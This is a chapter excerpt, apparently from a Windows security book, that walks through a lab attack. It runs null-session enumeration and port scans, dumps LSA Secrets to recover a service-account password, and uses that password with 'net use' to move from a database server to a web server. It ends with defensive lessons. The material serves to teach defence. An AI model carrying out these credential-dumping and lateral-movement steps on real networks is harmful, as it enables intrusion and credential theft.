Home > Articles > Operating Systems, Server > Microsoft Servers

  • Print
  • + Share This
This chapter is from the book

Hacking Other Machines

We have now pierced the eggshell. At this point, the objective is to fully "own" the network and take over everything else. To start with, we need to gather some more information on our target. For that we use a utility that enumerates information from a system over a null session. A null session is an anonymous connection (i.e., one made without any authentication). By default, some Windows systems give out more information than others over such a port. Of course, in this case, we run it against localhost, meaning that anonymous restrictions do not apply to us.

C:\warez>dumpinfo 127.0.0.1

The Administrator is:   PYN-SQL\Administrator

Users on PYN-SQL:
RID 1000        PYN-SQL\TsInternetUser  a User
RID 1001        PYN-SQL\SQLDebugger     a User

Share           Type            Comment
IPC$            Unknown         Remote IPC
ADMIN$          Special         Remote Admin
C$              Special         Default share

Administrators:
PYN-SQL\Administrator
PYN-DMZ\_ids
PYN-DMZ\Domain Admins

From this, we learn that there is not much on this system. It looks rather like a default system. Before we proceed with using this information, however, let's figure out the lay of the land:

C:\warez>ipconfig /all

Windows 2000 IP Configuration

         Host Name    . . . . . . . . . . : PYN-SQL
         Primary DNS Suffix   . . . . . . : PYN-DMZ.LOCAL
         Node Type    . . . . . . . . . . : Mixed
         IP Routing Enabled   . . . . . . : No
         WINS Proxy Enabled   . . . . . . : No
         DNS Suffix Search List   . . . . : PYN-DMZ.LOCAL

Ethernet adapter Local Area Connection:

         Connection-specific DNS Suffix  .:
         Description     . . . . . . . . .: Intel 21140 Based
                                            PCI Fast Ethernet
                                            Adapter
         Physical Address    . . . . . . .: 00-03-FF-03-3E-F0
         DHCP Enabled    . . . . . . . . .: No
         IP Address      . . . . . . . . .: 172.17.0.3
         Subnet Mask     . . . . . . . . .: 255.255.255.0
         Default Gateway     . . . . . . .: 172.17.0.1
         DNS Servers     . . . . . . . . .: 172.17.0.2

This tells us our IP address as well as some other useful information about the target network. Notice that the host has a private address, so our connection must be going through a NAT router at 172.17.0.1.

The objective now is to further the compromise to other hosts. To do that, the attacker starts by looking for the easy exploits. Perhaps the simplest is to use shared service accounts, if present. Service accounts are used on Windows to start up service, typically when those services need to run as some nonsystem user, or when they need access to particular network resources. For instance, a service may be able to connect to a particular network share on a remote host, or may need to execute code under a specific user context. The easiest way to configure such a service on multiple systems is to create a single domain account and then configure all the systems to run the service with the same account. This means that if we find any services running in regular user accounts (as opposed to system accounts such as LocalSystem, NetworkService, and LocalService), it is a sucker bet that those accounts have privileges on multiple systems. Network backup solutions, for instance, are notorious for using a single domain admin account to run the backup client on every single machine in the domain.

To find out whether this is a viable vector, let's check who is running services on the database server. To do that, we use a tool designed for that purpose:

C:\warez>serviceuser \\PYN-SQL
IDS                             PYN-DMZ\_ids

There is a domain account used for the IDS service; presumably the intrusion detection service.

dumpinfo also told us earlier that it was an administrator. If the attacker is really lucky, the account is also a domain admin and the game would be over here. However, in this case, it appears unlikely that it is a domain admin since the account was explicitly listed in the Administrators group. To understand how to exploit this, we must understand how Windows operates. Services are applications that run when the system boots. Just like any other process on the system, they must run under some user identity. When the service starts, the operating system (OS) authenticates the account used for the service and for that it needs a username and password. The username and password are stored by the service control manager in a location called the Local Security Authority (LSA) Secrets. The LSA Secrets are maintained by the LSA to hold certain sensitive information required for the operation of the system. This information includes items such as the computer account credentials, encryption keys, and service account credentials.

The LSA Secrets are encrypted on disk and decrypted by the OS when the machine boots. They are then held in clear text in the LSA process memory space while the system is running. If you can debug the LSA process, you can read that memory space. That may sound daunting, but there are attacker utilities designed specifically for that purpose. To debug the LSA process, a user must have the SeDebugPrivilege, which is granted by default only to Administrators.

Since Administrators can do whatever they want anyway, the ability to debug the LSA process is not a vulnerability in and of itself. They own the system without that privilege, and could grant any user that privilege. The vulnerability is operational and happens when untrusted users have that privilege.

In our case, we actually do not need to use the SeDebugPrivilege. Recall that our remote shell is running as LocalSystem. In other words, we are running as the same identity as the LSA process, and therefore have an intrinsic right to attach a debugger to it, privilege or not. Running the tool to extract the secrets, we find the following:

C:\warez>lsadump2
$MACHINE.ACC
 13 FE 4C 3A 04 F8 1F 94 75 C8 9B 0B 1C 35 45 7A  ..L:....u....5Ez
 52 7E 25 DF F8 17 F2 96 3A 35 81 C7              R~%.....:5..
DefaultPassword
DPAPI_SYSTEM
 01 00 00 00 C8 AA F8 8C 36 C7 69 CC DD 42 CB 15  ........6.i..B..
 3F 4E 07 6D 48 05 0A 4C FE 31 87 C9 F2 58 A3 AD  ?N.mH..L.1...X..
 B7 AD 13 20 26 11 24 24 FF 79 AE D3              ... &.$$.y..
...
_SC_IDS
 69 00 64 00 73 00 50 00 61 00 73 00 73 00 77 00  i.d.s.P.a.s.s.w.
 64 00 21 00                                      d.!.

The output has been truncated to make it easier to read, but the really interesting piece is right at the end, where the service account credentials are listed. The column on the right holds the service account password. We now know that the password for the PYN\_ids account is idsPasswd! (The output is in Unicode, hence the dots in between characters, signifying nulls.) The only thing left now is to find out where to use it. Running DiscoverHosts we find that there are only two other machines on this subnet, 172.17.0.1 (the gateway) and 172.17.0.2 (the DNS server). We need to learn more about them:

C:\warez>dumpinfo 172.17.0.1

Unable to look up the local administrator
Unable to enumerate users because I could not get the Admin Sid

Share            Type             Comment
IPC$             Unknown          Remote IPC
ADMIN$           Special          Remote Admin
wwwroot$         Disk
C$               Special          Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

We are not getting much information on this system. That is because it is a Windows Server 2003 member server. On Windows Server 2003 standalone and member servers, null session users will only be able to list the shares on the system, but not the user accounts by default. It is possible to restrict it even further so that no information is available at all. To learn how, turn to Chapter 12.

What we can tell from dumpinfo is that the default gateway is running a Web server, based on the fact that it exposes a wwwroot$ share. Notice also that we get a list of all the so-called hidden shares (shares postfixed with a $). The $ sign is actually just a notification to the client side of the application programming interface (API) not to display this item. The dumpinfo tool is written specifically to ignore that convention and displays the item anyway.

It would also be helpful to find out what endpoints are exposed on this system. To do that, we turn once again to our port scanner:

C:\warez>portscan 172.17.0.1
Port 172.17.0.1:80 open
Port 172.17.0.1:135 open
Port 172.17.0.1:139 open
Port 172.17.0.1:445 open
Port 172.17.0.1:3389 open

This really does not tell us much that we did not know. If SMB had been blocked, dumpinfo would have failed. We also discover that the host is running Terminal Services, but that is quite common. Turning our attention to the other system on the network, we get the following:

C:\warez>dumpinfo 172.17.0.2

The Administrator is:   PYN-DMZ\Administrator

Users on PYN-DMZ-DC:
RID 1000        PYN-DMZ\HelpServicesGroup       an Alias
RID 1001        PYN-DMZ\SUPPORT_388945a0        a User
RID 1002        PYN-DMZ\TelnetClients   an Alias
RID 1003        PYN-DMZ\PYN-DMZ-DC$     a User
RID 1104        PYN-DMZ\DnsAdmins       an Alias
RID 1105        PYN-DMZ\DnsUpdateProxy  a Group
RID 1106        PYN-DMZ\Alex a User
RID 1107        PYN-DMZ\Bob a User
RID 1108        PYN-DMZ\Cecil        a User
RID 1109        PYN-DMZ\Denise  a User
RID 1110        PYN-DMZ\Eric a User
RID 1111        PYN-DMZ\Fred  a User
RID 1112        PYN-DMZ\George a User
RID 1113        PYN-DMZ\Henry   a User
RID 1114        PYN-DMZ\Irene   a User
RID 1115        PYN-DMZ\Julie       a User
RID 1116        PYN-DMZ\Kurt        a User
RID 1117        PYN-DMZ\Laura       a User
RID 1118        PYN-DMZ\Maggie       a User
RID 1119        PYN-DMZ\Teddy       a User
RID 1120        PYN-DMZ\Mike       a User
RID 1121        PYN-DMZ\PYN-SQL$        a User
RID 1122        PYN-DMZ\PYN-WEB$        a User
RID 1123        PYN-DMZ\_IDS         a User

Share           Type             Comment
IPC$            Unknown          Remote IPC
NETLOGON        Disk             Logon server share
ADMIN$          Special          Remote Admin
SYSVOL          Disk             Logon server share
C$              Special          Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

This is obviously more interesting. This machine must be a DC because the account domains are PYN-DMZ, but the host name is PYN-DMZ-DC. A member server or standalone would have matching hostnames and account domains. By default, Windows Server 2003 Domain Controllers allow anonymous users to get all this information to allow down-level compatibility with Windows NT 4.0 and Windows 9x. The only thing the attacker cannot get is the membership in the Administrators group. This information can be restricted, but honestly, it is not particularly critical. First, an attacker could easily get this information by performing the request using any domain account. Second, if the only thing standing between you and a compromised network is the list of users on your domain, you are in for a rough time. The user list should simply not be particularly sensitive, even though we normally do not want to just hand it out.

For completeness, we also do a port scan:

C:\warez>portscan 172.17.0.2
Port 172.17.0.2:53 open
Port 172.17.0.2:135 open
Port 172.17.0.2:139 open
Port 172.17.0.2:389 open
Port 172.17.0.2:445 open
Port 172.17.0.2:3268 open

Our ports can tells us something interesting. Since port 3268 is listening, this must be a Global Catalog server for the forest. This means that 172.17.0.2 is a highly valuable target. Interestingly, this system does not have Terminal Services enabled.

We still do not know where the _ids account is used. To find out, we enumerate the user accounts used to run services on the various hosts:

C:\warez>serviceuser \\172.17.0.1
IDS                                PYN-DMZ\_ids

Serviceuser also runs anonymously, and we find out what we already suspected—the IDS service is used on the Web server as well, using the account we already have. That is all the information needed to take over that host as well:

C:\warez>net use \\172.17.0.1\c$ /u:pyn-dmz\_ids idsPasswd!
The command completed successfully.

We have successfully taken over the Web server! This is shown in Figure 2-1b.

02fig07.gif

Figure 2-1b We have successfully compromised two machines.

Here is a summary of the operational practices that got us to this point:

  • We have complete connectivity between the database server and the Web server; there is no internal traffic filtering. In Chapter 9, we cover a technique to analyze what kinds of traffic you do need to allow and what to restrict on your internal network.
  • We were able to retrieve a lot of information about the targets on the network over anonymous connections. This is enabled for down-level compatibility and is often not necessary in up-to-date networks. In fact, we consider killing Windows 9x and NT 4.0 to be of great security benefit! Not only are those systems insecure in today's environment, they require you to render your up-level systems insecure, too. Chapter 12 covers this in more detail.
  • There was a service account dependency between the database server and the Web server. A service account dependency is where a system is dependent for its security on another system through a shared service account. Shared service accounts are a prime target for attackers because, contrary to password cracking, there is no time lag in retrieving them. Chapter 8, "Security Dependencies," covers service account dependencies in more detail.
  • + Share This
  • 🔖 Save To Your Account